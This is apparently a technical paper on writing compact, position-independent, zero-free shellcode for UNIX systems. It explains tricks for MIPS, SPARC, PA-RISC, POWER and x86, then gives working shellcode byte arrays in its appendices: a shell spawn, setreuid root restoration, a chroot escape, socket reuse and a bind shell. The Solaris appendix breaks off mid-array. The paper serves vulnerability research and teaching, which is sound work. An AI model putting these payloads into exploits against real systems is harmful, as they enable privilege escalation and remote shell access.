Chapter 3

Code specifics

The successful application of assembly components in real-life proof of concept codes often requires adopting specific assumptions during their development and actual application. Every piece of assembly code presented in this document is written so that several such assumptions are preserved. First of all, the significant emphasis was put on code length - we have made our best efforts to write possibly the shortest codes. The next assumption is *position independence* (PIC). We wrote the codes so that they are position independent and there are no memory/registers constraints implied on their usage. The last critical assumption is in making all codes as *zero free*, what means that code instruction sequences do not contain 0 byte value. Additionally, in all code samples of this work no error handling routines are applied, as we silently assume that system calls return without errors and do not check for them unless they are needed for further proper code execution.

Below each of these critical assumptions is discussed in a more detailed way.

3.1 Short code length

Short code length is not usually a requirement that must be fulfilled in order to write a proof of concept code for a given security vulnerability. However in some cases, only specially crafted and really short codes can guarantee success. For us, short code length is a feature much more related with the code art than its real life usability (*small is beautiful*).

In order to write the possibly shortest assembly codes we applied the following rules in their development process:

- if a specific register was to be loaded with a given constant value, that value was usually obtained by a combination of register-register operations,
- if a given memory address was to be loaded with a given value, that value was usually already residing in it.

By applying the rules above, we usually avoided the use of additional memory bytes for code data (there is no need to keep in memory values which in fact are only needed in registers) and store instructions (there is no need to store a given value into memory if it could be already there). This is why in some cases we intentionally introduce some dummy instructions to the code as their encoding bytes are needed for constructing some program data structures in memory. This is especially the case for **chroot**, **bindsck** and **findsck** codes.

If the microprocessor architecture supports a delay slot execution mechanism, we make always use of it This is especially the case for SPARC and MIPS codes. On MIPS branch delay slots following the system call invocation instructions are never wasted - instead of no-operation instruction (**nop**) they always contain some useful code.

Whenever possible we make use of registers specialization (*zero registers*, *loop count* registers, etc.) and instruction complexity. The latter case mainly concerns CISC microprocessors which have lots of instructions performing several operations in one instruction (like x86's `LODSx` and `STOSx` instructions, `LOOPx` instructions). An attempt is always made to load constant values into registers with the use of one instruction. Repeating code fragments are implemented as subroutine calls or loops whenever such implementation allows us to save some bytes from code size. In the case when system call invocation instruction requires several instructions to execute (AIX/POWER/PowerPC and HP-UX/PA-RISC) or due to the *zero byte* problem avoiding, where the system call instruction must be explicitly constructed (Solaris/x86) a separate subroutine call is also used.

For x86 based architectures, instead of pretty lengthy `mov` instruction, we make often use of 1 byte `PUSH` and `POP` stack instructions whenever there is a need to temporarily store register values in memory. The same considers the 1 byte long `inc reg` and `dec reg` instructions which are always used in favor of their `add reg,1` and `sub reg,1` equivalents. An attempt is always made to use 1 byte instead of 2 byte register exchange instruction (`xchg`) by properly selecting its destination parameter. As a short equivalent of the following two instruction sequence:

```
mov    reg1,reg2
add    reg1,offset
```

we make often use of the `lea reg1,[reg2+offset]` instruction.

3.2 Position independence

Position independence is a feature that allows the code access its own data regardless of its initial memory location. Position independent code can be usually written in a position dependant way, as it was the case for early assembly routines included in proof of concept codes. However, position independence usually makes the code shorter and frees it of any constraints imposed on the knowledge or even validity of the initial register values, that are used for proper reconstruction of a given code's data.

On systems where arguments to system calls are passed through stack, there however exist two subtle constraints with regard to the initial value (the value upon entering our code) of the stack pointer register. On these systems, stack pointer must usually point to a valid memory area (the one with write access and that is mapped in process address space) before execution enters our assembly routines, so that appropriate push operations can be issued. Apart from that, stack pointer cannot point to the area in which our assembly code resides as execution of its successive push operations could modify the code itself and destroy it. There usually exists a possibility to properly set the value of a stack pointer register so that two aforementioned constraints are fulfilled. This can be achieved with regard to the value of a code base address of which value can be obtained by applying appropriate instruction sequences discussed previously in this paragraph. In our assembly routines we never set the initial value of a stack pointer register as such an operation would in most cases unnecessarily (that is the claim made upon the experience we obtained by writing proof of concept codes) increase the code length of assembly routines.

In the following subsections, the additional details of writing proof of concept codes for all discussed operating systems will be presented.

3.2.1 IRIX/MIPS

In order to write position independent code, at the beginning of each code block the following instruction is used:

```
label:    bltzal $zero,<label>
```

The `bltzal` instruction *branches if its register operand is less than zero and makes a link* and is in fact a conditional subroutine call instruction. Making a link is equivalent to saving the return address from subroutine to the `ra` register. For this particular instance of instruction, the operand register is set to `zero`, therefore the condition is never fulfilled and the branch is never taken. However, the link is done and `ra` register is filled with the branch return address of `<label+8>` instruction. This is not the address of `<label+4>` instruction as on MIPS every branch is supposed to be followed by a no-operation branch delay slot instruction. This is the reason why the additional instruction length was accumulated in the result address.

3.2.2 Solaris/SPARC

We obtain the base address of our code by executing the following instruction sequence:

```
label:    bn,a    <label-4>
          bn,a    <label>
          call   <label+4>
```

Because the first *branch never* `bn,a` instruction does not make a branch and due to its `a` - (*annulate*) suffix, the next `bn,a` instruction does not get executed. As a result an attempt to execute the call instruction is made, which upon execution stores current value of a program counter to register `o7` and transfers program control to the second `bn,a` instruction. Similarly to the first one, the second `bn,a` instruction annuls the execution of the next instruction, so the call does not get executed for the second time. As a result of the above sequence of instructions the register `o7` is loaded with the offset address of `label+12`.

On sparc v8+ and above architectures there exists an instruction that allows to obtain the value of a `pc` register in a more direct way.

```
rd    %pc,%o7
```

Although it has zero in its encoding, by appropriately setting one unused bit, you can get zero-free instruction.

3.2.3 HP-UX/PA-RISC

We obtain the base address of our code by executing the following *branch and link* instruction:

```
b1    .+4,reg
```

The `b1` instruction provides a functionality of a subroutine call. It makes a call to the address specified by an 8-bit relative offset instruction operand and saves the value of *subroutine return address* in register `reg`. In this specific case, the value of 4 is used for relative jump offset, so the jump is made forward to the instruction immediately following the branching instruction. Simultaneously, register `reg` is loaded with the address of the next instruction - the address of a jump target in this case.

3.2.4 AIX/POWER/PowerPC

We issue the following instructions sequence in order to obtain the base address of our code:

```

label:    xor.    reg1,reg1,reg1
          bnel   <label>
          mflr   reg2

```

The first instruction sets the EQ bit of CRO conditional register field, which reflects the *zero* or *equality* status of the instruction execution result. The `bnel` instruction is a conditional branch instruction which makes a jump *if the EQ bit of CRO field is not set* (it denotes the *non-equality* state), which in our case is always false thus the branch is never taken. However, as a result of executing the `bnel` instruction the link is done and the link register (LR) is loaded with the branch return address of `<label+8>` instruction. Because link register is a special register which can not be used as an operand of memory access operations, we move its value to the general purpose register `reg2` with the use of `mflr` (*move from link register*) instruction.

3.2.5 Solaris/Linux/{Free,Net,Open}BSD/BeOS/x86

On x86 architectures the following instruction sequence is issued at the beginning of each code block in order to obtain its base address:

```

          jmp near ptr <label>
back:    pop reg
          ...
label:   call near ptr <back>

```

First, a forward near jump is made to the `call` instruction within the relative offset covered by the 8 bit value. Then a near backward call to the `pop` instruction is made. Upon its execution the address of the instruction following the call one (the offset value of `<label+5>` in this case) is pushed onto the stack. That value is next obtained in register `reg` by executing an appropriate `pop reg` operation.

3.3 "Zero free" code

The need for *zero free* code is a result of the requirement that must be fulfilled when writing proof of concept codes for most buffer overflow and format string vulnerabilities. These classes of errors are based on improper handling of user supplied string data - in most cases this concerns string lengths and their format. In C language, strings are represented as a contiguous sequence of bytes with a null (**zero**) byte at the end. If a user supplied data containing assembly code is to be properly interpreted as a string argument, it must conform to the way strings are constructed and treated in a UNIX system. This basically explains the need for a *zero free* code. However in practice, such a need for *zero code* poses many limitations on the way the assembly code can be constructed and it sometimes makes it a bit more difficult.

On most RISC architectures we cannot use registers with lower numbers (including `r0` - zero register) as instruction operands because they usually generate zero byte opcode in the instruction encoding. This is why we try to focus on registers with higher numbers and make appropriate use of the `xor reg, reg, reg` instruction whenever there is a need for a 0 value as the operand.

On x86, SPARC and PA-RISC architectures 8 and 16 bit constants can be freely loaded into registers without any fear of a *zero byte* opcode problem. This is due to the fact that x86 microprocessors support loading 8/16 bits constants as SPARC and PA-RISC does for 11/22 bits ones.

We cannot use forward branch instructions in codes unless the architecture supports relative jumps made within the area covered by the 8bit offset value. This is only the case for Intel x86 and PA-


```
ldil    L'-0x40000000,%r1
be,l    4(%sr7,%r1)
ldi     syscall_number,%r22
```

The last `ldi` instruction from the sequence above has the encoding as presented below:

```

31                                     16                                     0
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
|0|0|1|1|1|0|1|0|0|0|0|0|1|0|1|1|0|0|0|s|s|s|s|s|s|s|s|s|s|s|s|s|s|s|s|
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
```

where:

- `s` bits - denote `syscall_number` operand

It can be clearly seen that, for a small range of the `syscall_number` parameter values (less than 256), the instruction yields zero byte opcode in its encoding. Fortunately, this is all about loading system call number to register `r22`, which can be also done in other way. We use the following instructions sequence as an equivalent of the code presented above:

```
ldil    L'-0x40000000,%r1
be,l    4(%sr7,%r1)
addi,>  syscall_number,%r0,%r22
```

We simply replace the `ldi` instruction with a prefixed `add immediate` instruction. In the code above, the system call number is loaded to register `r22` in a delay slot of inter-segment jump call that passes execution to the kernel routine (`sr7`). As a prerequisite to this code, the `r1` register should be filled with the `0xc0000000` offset.

The other problem occurs whenever we need to add a constant to a given register. We cannot simply use `add immediate` instruction, as it usually has zero byte in the instruction encoding (especially for low immediate operand values). Instead, we make use of the conditional representation of the `add immediate` instruction. It is presented in the figure below:

```

addi,cond    immediate,s_reg,t_reg

31                                     16                                     0
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
|1|0|1|1|1|0|1|s|s|s|s|s|t|t|t|t|t|c|c|c|c|i|i|i|i|i|i|i|i|i|i|i|i|i|i|i|i|
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
```

where:

- `s` bits - denote source register operand (`s_reg`),
- `t` bits - denote target register operand (`t_reg`),
- `c` bits - denote condition field (`cond`),
- `i` bits - denote immediate operand value (`immediate`).

By appropriately filling the condition field (bits 17-20) with binary value of `0111` we make the instruction encoding independent of the immediate argument's value and avoid zero byte opcodes in it.

On HP-UX forward jumps are possible with the use of comparative branch instructions. For that purpose we usually use the `comb,=` instruction.

3.3.3 AIX/POWER/PowerPC

The POWER/PowerPC system `call` instruction (`sc` in PowerPC mnemonic, `svca` in POWER mnemonic) contains zero byte opcode in its encoding. This is due to fact that, according to the documentation, reserved bits from the system call instruction encoding must be set to 0, what is presented below:

```

31                                     16                                     0
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
|0|1|0|0|0|1|r|r|r|r|r|r|r|r|r|r|r|r|r|r|r|r|r|r|r|r|r|r|r|r|r|r|r|r|1|r|
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+

```

where:

- `r` bits - denote reserved bits.

As shown above, the `r` bits do not influence the instruction opcode field (bits 31-27). A quick lookup in the microprocessor documentation also reveals that there is only one instruction with such an opcode. So, the microprocessor instruction decoding unit should properly recognize the system call instruction regardless of its `r`-bits values. And this is in fact the case. This allows us to set arbitrary `r`-bits values in the `svca` instruction encoding and get rid of the zero byte in it. In most cases we use the `0x04ffff02` value for the system call instruction across all our codes.

For POWER/PowerPC, the preferred instruction for a `nop` operation is `oril r0,r0,0x0` (`0x60000000` encoding). However, we use the `mr r31, r31` instruction with `0x7ffffb78` encoding in order to avoid zero bytes.

Similarly like in the case of IRIX/MIPS, an appropriate `lil/cal` instruction sequence is used for loading 8bit constants into registers across our AIX/POWER/PowerPC codes.

3.3.4 Solaris/x86

On Solaris systems, the far `lcall` instruction that is used for invoking operating system services has the following encoding:

```
lcall    $0x7,$0x0    0x9a,0x00,0x00,0x00,0x00,0x07,0x00
```

Because there does not exist a far call equivalent instruction or a sequence of instructions providing the same functionality¹, in order to get rid of zero bytes in the `lcall` instruction encoding we must construct it in the code itself. And that `lcall` construction is done with the use of the following code fragment:

```

syscallcode:    xorl    %eax,%eax
                jmp     <syscallcode+13>
                popl   %edi
                pushl  %edi
                incl   %edi
                stosl  %eax,%es:(%edi)
                incl   %edi
                stosb  %al,%es:(%edi)
                ...
                call   <syscallcode+4>

```

¹That is the case for Solaris, FreeBSD provides `int 0x80` as another way of invoking operating system services.

```
"\x9a\xff\xff\xff\xff"  
"\x07\xff"  
ret
```

In the code above, the far call instruction is constructed in memory just after the relative call to `<syscallcode+4>`. First the absolute address of program data after the call instruction is obtained in register `edi`. Then, two successive store string (word and byte) operations are performed that put zero byte values (the contents of `eax` register) in place of `0xff` ones what finally results in a proper `0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00 lcall` instruction encoding sequence.

Chapter 4

Assembly codes functionality

This section discusses in a more detail the functionality of assembly components used in proof of concept codes we wrote for different operating systems. We have distinguished several types of such assembly routines, which can be differentiated by their actual functionality and possible impact of practical application. In this section, operation of each type is explained with the use of a short similar to the C language program.

This section might be also considered as a practical introduction to the contents of appendices from the end of this paper. They contain various functional types of assembly routines discussed in this document that has been written for different operating systems. All codes have been developed in concordance with previously presented assumptions. The special effort has been done to make these code blocks position and register independent, so they can be almost freely combined together in order to obtain a given functionality (for example, chroot breaking bind shellcode can be easily built by appending together an optional `syscallcode`, `chrootcode`, `bindsckcode` and `shellcode` tables).

In the appropriate appendix, the sample program illustrating the usage of all codes is also included.

4.1 Shell execution (shellcode)

The simplest and most common assembly routine seen in proof of concept codes is `shellcode`. It is equivalent to the following C language statement:

```
execl("/bin/sh", "/bin/sh", 0);
```

It simply executes the `/bin/sh` program.

4.2 Single command execution (cmdshellcode)

The `cmdshellcode` routine is more or less equivalent to the following C language statement:

```
execl("/bin/sh", "/bin/sh", "-c", cmd, 0);
```

It executes the commands denoted by the `cmd` string with the use of the `/bin/sh` shell program. As a prerequisite to this code, null terminated `cmd` string must be appended to the end of the `cmdshellcode`.

4.3 Privileges restoration (`set{uid,euid,reuid,resuid}code`)

Privileges restoration routines restore a given process' root user privileges whenever they are possessed by it but are temporarily unavailable because of some security reasons. These routines are especially useful for exploiting vulnerabilities in certain `setuid` binaries, the ones that revert but do not completely drop their elevated privileges. Because of different implementation of the privilege restoration mechanism on various operating systems, we use several routines for the purpose of privilege restoration.

[`setuidcode`] In the case of Solaris, privileges restoration is done by `setuidcode` routine, which is equivalent to the following C language statement:

```
setuid(0);
```

It sets privileges of a given process to the privileges of a root user.

[`seteuidcode`] In AIX systems, it is done by `seteuidcode` routine, which is equivalent to the following C language statement:

```
seteuid(0);
```

It sets a given process' effective privileges to the privileges of a root user.

[`setreuidcode`] In IRIX systems, it is done by `setreuidcode` routine, which is equivalent to the following C language statement:

```
setreuid(getuid(),0);
```

It restores a given process' saved root user privileges whenever they are possessed by it but are temporarily unavailable due to previous `setreuid` call.

[`setresuidcode`] In HP-UX systems, it is done by `setresuidcode` routine, which is equivalent to the following C language statement:

```
setresuid(0,0,0);
```

The `setresuid` function does the same as the `setreuid` one if its third argument is equal to -1. In our codes we invoke `setresuid` with the third argument set to 0 what directly sets a given process' root user privileges provided that they has been possessed by it before.

4.4 Chroot limited environment escape (`chrootcode`)

The `chrootcode` breaks the chroot jail. It is more or less equivalent to the following C language statements:

```
mkdir("a..",mode);
chroot("a..");
for(i=257;i-->0) chdir("..");
chroot(".");
```

This piece of code breaks the chroot jail if the process in which context the code executes possesses the `uid` of a root user (this is the prerequisite for the chroot call to succeed). At the start of the `chrootcode` a helper directory with the `"a.."` name is created. At this time operating system's kernel structures for a given process, holding the `vnode` values of its current and root directories are the same or the current directory value is set to be below root. When the `chroot("a..")` system call is executed the root directory `vnode` goes below the current one in a directory tree hierarchy. In a result, every `chdir("../")` system call executed in a loop completes successfully, because no chroot `vnode` is encountered while moving up the directory tree. The last `chroot(".")` system call completes the chroot jail break - it resets the process root directory `vnode` to the value of its current directory - the absolute value of `/ filesystem` directory.

In order to minimize the code length, we usually use some dummy instruction in the beginning of a `chrootcode` routine. That is usually one of the instructions which has the `"a.."` string in its opcode and does not influence the operation of the code itself (it only uses register or immediate operand values). If such a proper instruction is used in the code, we don't have to make an extra construction of a `dirname("a..")`, `current_dir(".")`, and `parent_dir("../")` system calls parameters as they are all the substrings of the `"a.."` string.

4.5 Find socket code (findsckcode)

The `findsckcode` routine is more or less equivalent to the following C language statements:

```

j=sizeof(sockaddr_in);
for(i=256;i>=0;i--){
    if(getpeername(sck,&adr,&j)==-1) continue;
    if(*((unsigned short)&(adr[2]))==htons(port)) break;
}
for(j=2;j>=0;j--) dup2(j,i);

```

It allows the reuse of existing TCP connections of a given process, so that interactive command shells can be usually spawned upon them.

The code above walks the process descriptor table in a search for a socket descriptor of the remote TCP endpoint identified by a port number contained at `FINDSCKPORTOFS` offset of the `findsckcode` routine. In a case such an endpoint is located the loop is terminated and found TCP socket descriptor is duplicated on `stdin`, `stdout` and `stderr` of a given process.

Prior to executing the `findsckcode` routine, a client software should establish a TCP connection with a process in which context the code is to be executed. Appropriate setting of the code data at `FINDSCKPORTOFS` offset should be also made to assure proper identification of the client's connection.

4.6 Network server code (bindsckcode)

The `bindsckcode` is more or less equivalent to the following C language statements:

```

sck=socket(AF_INET,SOCK_STREAM,0);
bind(sck,addr,sizeof(addr));
listen(sck,5);
clt=accept(sck,NULL,0);
for(i=2;i>=0;i--) dup2(i,clt);

```

The code above creates a listening TCP socket on a given port. Upon accepting a connection, it duplicates the socket descriptor of the connected remote party to the process `stdio` descriptors (0, 1 and 2). The port number to which the socket is bound is defined at offset `BINDSCKPORTOFS` of the `bindsckcode` (its value is set to `0x1234` by default).

In order to minimize the code length, we usually use some dummy instruction in the beginning of a `bindsckcode` routine. Its opcode value is partially used for the proper `sockaddr_in` structure construction, which is passed as an argument to the `bind` system call as follows:

```
struct sockaddr_in {
    uchar sin_len = xx (does not matter for AF_INET)
    uchar sin_family = 02 (AF_INET)
    ushort sin_port = contains the port value
    uint sin_addr.s_addr = 00 (INADDR_ANY)
}
```

In our `bindsckcode` codes, we never set the `sin_len` field of the `sockaddr_in` structure, as its value is not important for `AF_INET` domain sockets (ours is in `AF_INET`).

The dummy instruction does not influence the operation of the code itself (it only uses register or immediate operand values) and it is selected in such a way, so that it has `sin_port` or `sin_family` values contained in its encoding.

4.7 Stack pointer retrieval (jump)

The jump routine obtains the current value of a given process' stack pointer register. It is usually implemented as a subroutine call and a two instructions sequence:

- the one transferring the contents of a stack pointer register to the *return value* register, as specified in a linkage convention/ABI for a given architecture,
- the branch instruction that makes an actual return from the subroutine.

On most UNIX systems, the invocation of a jump code from within a C language program can be done with the use of an appropriate cast operator:

```
int    sp=(*(int(*)())jump)();
```

However, on AIX, due to different global symbols linkage convention the call to the jump code must be made in a special way:

```
int    buf[2]={ (int)&jump,*((int*)&main+1)};
int    sp=(*(int(*)())buf)();
```

It is also worth mentioning that, on HP-UX/PA-RISC, special inter-segment jump call instruction is used to make a return call from the jump subroutine:

```
be    0x0(%sr0,%rp)
```

Such an inter-segment call instruction is required whenever program execution is to be passed between data and code segments.

4.8 No-operation instruction (nop)

The `nop` (*no operation*) instruction is a helper instruction that is used in proof of concept codes whenever a heuristic jump must be made within a vulnerable program to the user supplied code data.

Although, every microprocessor architecture supports a concept of a `nop` instruction, not all of them can be used in proof of concept codes due to the *zero byte* avoiding problem. In such cases, `nop`-equivalent instructions are used and these are usually the ones that only use register and immediate operands and do not reference memory in any way.

Chapter 5

Final notes

This paper has been written as the result of our experiences we acquired throughout development of assembly routines for proof of concept codes. As we have already mentioned in the introduction, it was not meant to be a tutorial of assembly coding but rather a high-level introduction to this very specific problem. Also, we do not find this work to be closed and do expect to update and modify in the future.

Chapter 6

References

Below, you can find some references that are interesting in our opinion and which turned out to be useful during preparation of this work. If you have any question with regard to specific architecture or operating system, please refer to these positions in the first place.

- Joe Heinrich, MIPS R4000 Microprocessor User's Manual, Second Edition, 1994 MIPS Technologies,
- PA-RISC 1.1 Architecture and Instruction Set Reference Manual, 1994 Hewlett Packard Company,
- The 32-bit PA-RISC Run-time Architecture Document, HP-UX 10.20 Version 3.0,1997 Hewlett Packard Company,
- The 32-bit PA-RISC Run-time Architecture Document, HP-UX 11.0 Version 1.0,1997 Hewlett Packard Company,
- PowerPC Microprocessor Family: The Programming Environments For 32-Bit Microprocessors, Rev. 1, 1997 Motorola Inc.
- PowerPC Microprocessor Family: The Programmer's Reference Guide, 1995 Motorola Inc.
- AIX Version 4.3 Assembler Language Reference, First Edition, 1997 International Business Machines Corporation,
- microSPARC-Iiep: User's Manual, 1997 Sun Microsystems,
- UltraSPARC: User's Manual, 1997 Sun Microsystems,
- UltraSPARC-III: User's Manual, 1997 Sun Microsystems,
- SuperSPARCII Addendum, Rev. 1.3, 1994 Sun Microsystems,
- The UltraSPARC -III Processor, Technology White Paper, 1998 Sun Microsystems,
- Intel Architecture Optimization Manual, 1997 Intel Corporation,
- Intel Architecture Software Developer's Manual Volume 1 : Basic Architecture, 1997 Intel Corporation,
- Intel Architecture Software Developer's Manual Volume 2 : Instruction Set Reference, 1997 Intel Corporation,
- Intel Architecture Software Developer's Manual Volume 3 : System Programming, 1999 Intel Corporation,
- Embedded Intel486 Processor Family Developer's Manual, 1997 Intel Corporation,
- Embedded Intel486 Processor Hardware Reference Manual, 1997 Intel Corporation,
- Pentium Processor Family Developer's Manual Volume 3: Architecture and Programming Manual, 1995 Intel Corporation,
- Pentium Processor with MMX Technology, 1997 Intel Corporation,
- Pentium II Processor Developer's Manual, 1997 Intel Corporation.

Appendix A

IRIX/MIPS codes, file: mips-irix

```
#if defined(MIPS) && defined(IRIX)

char shellcode[]=          /* 9*4+7 bytes          */
    "\x04\x10\xff\xff"    /* bltzal $zero,<shellcode> */
    "\x24\x02\x03\xf3"    /* li      $v0,1011        */
    "\x23\xff\x01\x14"    /* addi   $ra,$ra,276      */
    "\x23\xe4\xff\x08"    /* addi   $a0,$ra,-248     */
    "\x23\xe5\xff\x10"    /* addi   $a1,$ra,-220     */
    "\xaf\xe4\xff\x10"    /* sw     $a0,-220($ra)    */
    "\xaf\xe0\xff\x14"    /* sw     $zero,-236($ra)  */
    "\xa3\xe0\xff\x0f"    /* sb     $zero,-241($ra)  */
    "\x03\xff\xff\xcc"    /* syscall                               */
    "/bin/sh"
;

char cmdshellcode[]=      /* 14*4+12+cmdlen bytes */
    "\x04\x10\xff\xff"    /* bltzal $zero,<cmdshellcode> */
    "\x24\x02\x03\xf3"    /* li      $v0,1011        */
    "\x23\xff\x08\xf0"    /* addi   $ra,$ra,2288     */
    "\x23\xe4\xf7\x40"    /* addi   $a0,$ra,-2240    */
    "\x23\xe5\xfb\x24"    /* addi   $a1,$ra,-1244    */
    "\xaf\xe4\xfb\x24"    /* sw     $a0,-1244($ra)   */
    "\x23\xe6\xf7\x48"    /* addi   $a2,$ra,-2232    */
    "\xaf\xe6\xfb\x28"    /* sw     $a2,-1240($ra)   */
    "\x23\xe6\xf7\x4c"    /* addi   $a2,$ra,-2228    */
    "\xaf\xe6\xfb\x2c"    /* sw     $a2,-1236($ra)   */
    "\xaf\xe0\xfb\x30"    /* sw     $zero,-1232($ra) */
    "\xa3\xe0\xf7\x47"    /* sb     $zero,-2233($ra) */
    "\xa3\xe0\xf7\x4a"    /* sb     $zero,-2230($ra) */
    "\x03\xff\xff\xcc"    /* syscall                               */
    "/bin/sh -c "
;

char setreuidcode[]=      /* 7*4 bytes            */
    "\x24\x02\x04\x01"    /* li      $v0,1024+1      */
    "\x20\x42\xff\xff"    /* addi   $v0,$v0,-1       */
    "\x03\xff\xff\xcc"    /* syscall                               */
    "\x30\x44\xff\xff"    /* andi   $a0,$v0,0xffff   */

```

```

    "\x30\x05\xff\xff"    /* andi    $a1,$zero,0xffff    */
    "\x24\x02\x04\x64"    /* li      $v0,1124             */
    "\x03\xff\xff\xcc"    /* syscall                               */
;

char chrootcode[]=        /* 18*4 bytes                    */
    "\x30\x61.."
    "\x04\x10\xff\xff"    /* bltzal  $zero,<chrootcode+4>    */
    "\xaf\xe0\xff\xf8"    /* sw      $zero,-8($ra)          */
    "\x23\xe4\xff\xf5"    /* addi    $a0,$ra,-11           */
    "\x24\x02\x04\x38"    /* li      $v0,1080              */
    "\x03\xff\xff\xcc"    /* syscall                               */
    "\x23\xe4\xff\xf5"    /* addi    $a0,$ra,-11           */
    "\x24\x02\x04\x25"    /* li      $v0,1061              */
    "\x03\xff\xff\xcc"    /* syscall                               */
    "\x24\x11\x01\x01"    /* li      $s1,257                */
    "\x23\xe4\xff\xf6"    /* addi    $a0,$ra,-10           */
    "\x24\x02\x03\xf4"    /* li      $v0,1012              */
    "\x03\xff\xff\xcc"    /* syscall                               */
    "\x22\x31\xff\xff"    /* addi    $s1,$s1,-1            */
    "\x06\x21\xff\xfb"    /* bgez    $s1,<chrootcode+40>    */
    "\x23\xe4\xff\xf7"    /* addi    $a0,$ra,-9            */
    "\x24\x02\x04\x25"    /* li      $v0,1061              */
    "\x03\xff\xff\xcc"    /* syscall                               */
;

char findsckcode[]=      /* 29*4 bytes                    */
    "\x04\x10\xff\xff"    /* bltzal  $zero,<findsckcode>     */
    "\x24\x10\x01\x90"    /* li      $s0,400                */
    "\x22\x11\x01\x9c"    /* addi    $s1,$s0,412            */
    "\x22\x0d\xfe\x94"    /* addi    $t5,$s0,-(400-36)     */
    "\x03\xed\x68\x20"    /* add     $t5,$ra,$t5            */
    "\x01\xa0\xf0\x09"    /* jalr    $s8,$t5                */
    "\x97\xeb\xff\xc2"    /* lhu     $t3,-62($ra)          */
    "\x24\x0c\x12\x34"    /* li      $t4,0x1234             */
    "\x01\x6c\x58\x23"    /* subu    $t3,$t3,$t4            */
    "\x22\x0d\xfe\xbc"    /* addi    $t5,$s0,-(400-76)     */
    "\x11\x60\xff\xf9"    /* beqz    $t3,<findsckcode+16>   */
    "\x22\x24\xfe\xd4"    /* addi    $a0,$s1,-300           */
    "\x23\xe5\xff\xc0"    /* addi    $a1,$ra,-64            */
    "\x23\xe6\xff\xfc"    /* addi    $a2,$ra,-4             */
    "\x24\x02\x04\x45"    /* li      $v0,1093              */
    "\x03\xff\xff\xcc"    /* syscall                               */
    "\x22\x31\xff\xff"    /* addi    $s1,$s1,-1            */
    "\x10\xe0\xff\xf4"    /* beqz    $a3,<findsckcode+24>   */
    "\x22\x2b\xfe\xd4"    /* addi    $t3,$s1,-300           */
    "\x1d\x60\xff\xf7"    /* bgzt    $t3,<findsckcode+44>   */
    "\x22\x04\xfe\x72"    /* addi    $a0,$s0,-398           */
    "\x24\x02\x03\xee"    /* li      $v0,1006              */
    "\x03\xff\xff\xcc"    /* syscall                               */
    "\x22\x24\xfe\xd5"    /* addi    $a0,$s1,-299           */
    "\x24\x02\x04\x11"    /* li      $v0,1041              */
    "\x03\xff\xff\xcc"    /* syscall                               */

```

```

    "\x22\x10\xff\xff"      /* addi    $s0,$s0,-1          */
    "\x22\x0b\xfe\x72"     /* addi    $t3,$s0,-398       */
    "\x05\x61\xff\xf7"     /* bgez    $t3,<findsckcode+80> */
;

char bindsckcode[]=        /* 34*4 bytes                  */
    "\x30\x02\x12\x34"
    "\x04\x10\xff\xff"     /* bltzal  $zero,<bindsckcode+4> */
    "\x24\x11\x01\xff"     /* li      $s1,511              */
    "\xaf\xe0\xff\xf8"     /* sw      $zero,-8($ra)        */
    "\x22\x24\xfe\x03"     /* addi    $a0,$s1,-509         */
    "\x22\x25\xfe\x03"     /* addi    $a1,$s1,-509         */
    "\x22\x26\xfe\x01"     /* addi    $a2,$s1,-511         */
    "\x24\x02\x04\x53"     /* li      $v0,1107             */
    "\x03\xff\xff\xcc"     /* syscall                               */
    "\x02\x22\x98\x20"     /* add     $s3,$s1,$v0          */
    "\x22\x64\xfe\x01"     /* addi    $a0,$s3,-511         */
    "\x23\xe5\xff\xf4"     /* addi    $a1,$ra,-12          */
    "\x22\x26\xfe\x11"     /* addi    $a2,$s1,-(511-16)    */
    "\x24\x02\x04\x42"     /* li      $v0,1090             */
    "\x03\xff\xff\xcc"     /* syscall                               */
    "\x22\x64\xfe\x01"     /* addi    $a0,$s3,-511         */
    "\x22\x25\xfe\x06"     /* addi    $a1,$s1,-506         */
    "\x24\x02\x04\x48"     /* li      $v0,1096             */
    "\x03\xff\xff\xcc"     /* syscall                               */
    "\x22\x64\xfe\x01"     /* addi    $a0,$s3,-511         */
    "\x22\x25\xfe\x01"     /* addi    $a1,$s1,-511         */
    "\x22\x26\xfe\x01"     /* addi    $a2,$s1,-511         */
    "\x24\x02\x04\x41"     /* li      $v0,1089             */
    "\x03\xff\xff\xcc"     /* syscall                               */
    "\x02\x22\x98\x20"     /* add     $s3,$s1,$v0          */
    "\x22\x32\xfe\x03"     /* addi    $s2,$s1,-509         */
    "\x02\x40\x20\x25"     /* move    $a0,$s2              */
    "\x24\x02\x03\xee"     /* li      $v0,1006             */
    "\x03\xff\xff\xcc"     /* syscall                               */
    "\x22\x64\xfe\x01"     /* addi    $a0,$s3,-511         */
    "\x24\x02\x04\x11"     /* li      $v0,1041             */
    "\x03\xff\xff\xcc"     /* syscall                               */
    "\x22\x52\xff\xff"     /* addi    $s2,$s2,-1           */
    "\x06\x41\xff\xf8"     /* bgez    $s2,<bindsckcode+104> */
;

char jump[]=
    "\x03\xa0\x10\x25"     /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"     /* jr      $ra                    */
;

#define FINDSCKPORTOFS    30
#define BINDSCKPORTOFS    2

#endif

```

Appendix B

Solaris/SPARC codes, file: sparc-solaris

```
#if defined(SPARC) && defined(SOLARIS)

char shellcode[]=          /* 10*4+8 bytes          */
    "\x20\xbf\xff\xff"    /* bn,a <shellcode-4>    */
    "\x20\xbf\xff\xff"    /* bn,a <shellcode>      */
    "\x7f\xff\xff\xff"    /* call <shellcode+4>    */
    "\x90\x03\xe0\x20"    /* add %o7,32,%o0        */
    "\x92\x02\x20\x10"    /* add %o0,16,%o1        */
    "\xc0\x22\x20\x08"    /* st %g0,[%o0+8]        */
    "\xd0\x22\x20\x10"    /* st %o0,[%o0+16]       */
    "\xc0\x22\x20\x14"    /* st %g0,[%o0+20]       */
    "\x82\x10\x20\x0b"    /* mov 0x0b,%g1          */
    "\x91\xd0\x20\x08"    /* ta 8                   */
    "/bin/ksh"
;

char cmdshellcode[]=      /* 15*4+16+cmdlen bytes */
    "\x20\xbf\xff\xff"    /* bn,a <cmdshellcode-4> */
    "\x20\xbf\xff\xff"    /* bn,a <cmdshellcode>    */
